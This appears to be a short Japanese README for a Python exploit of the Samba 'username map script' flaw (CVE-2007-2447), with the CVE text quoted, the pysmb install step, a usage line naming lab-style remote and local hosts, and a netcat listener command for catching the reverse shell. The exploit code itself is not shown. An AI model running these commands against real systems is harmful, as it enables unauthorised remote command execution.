
CVE-2007-2447を対象としたSambaのusername map script脆弱性に対するPythonエクスプロイト。シェルメタキャラクタを経由したリモートコマンド実行とリバースシェルペイロード配信を可能にします。
「Samba 3.0.0から3.0.25rc3のsmbdにおけるMS-RPC機能は、リモートの攻撃者がshellメタ文字を使用して任意のコマンドを実行することを可能にします。これは(1) SamrChangePassword関数を含み、smb.confオプション「username map script」が有効な場合に発生します。また、リモートの認証済みユーザーが(2) リモートプリンタおよび(3) ファイル共有管理における他のMS-RPC関数でshellメタ文字を使用してコマンドを実行することも可能にします。」
[*] このエクスプロイトにはPython 3.7以上が必要です。
python3 -m pip install pysmb
$ ./CVE-2007-2447.py --rhost 10.10.10.3 --lhost 10.10.14.10 --lport 4444 --rport 445
--rhost -- リモートホスト--lhost -- ローカルホスト--lport -- ローカルポート--rport -- リモートポート [*] オプション。 default=445リスナーを起動するのを忘れないでください:
nc -lvnp 4444
